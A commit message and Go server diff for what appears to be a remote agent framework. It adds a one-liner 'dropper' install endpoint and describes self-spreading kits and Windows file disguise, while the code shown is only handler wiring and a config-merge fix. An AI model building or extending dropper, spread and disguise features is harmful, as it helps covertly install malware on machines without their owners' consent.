Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/main.go

@@ -163,12 +163,17 @@ func main() {
 	blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
 	log.Println("Blueprint handler initialized")
 
+	// Initialize dropper handler (one-liner remote install)
+	dropperHandler := api.NewDropperHandler(database, func() string {
+		return configProvider.PublicURL()
+	})
+
 	// Find web root for frontend
 	webRoot := findWebRoot()
 	log.Printf("Web root: %s", webRoot)
 
 	// Initialize router
-	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
+	router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
 		return configProvider.PublicURL()
 	})
 	log.Println("Router initialized")
@@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
 		return fmt.Errorf("invalid config: %w", err)
 	}
 
-	// Merge incoming config over current config
-	mergeConfig(p.config, &incoming)
+	// Determine which top-level keys were explicitly present in the JSON payload.
+	// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
+	// from the payload is treated as "not changed", not "set to false".
+	var presentKeys map[string]json.RawMessage
+	_ = json.Unmarshal(data, &presentKeys)
+
+	mergeConfigExplicit(p.config, &incoming, presentKeys)
 
 	// Save to disk
 	if err := p.config.Save(); err != nil {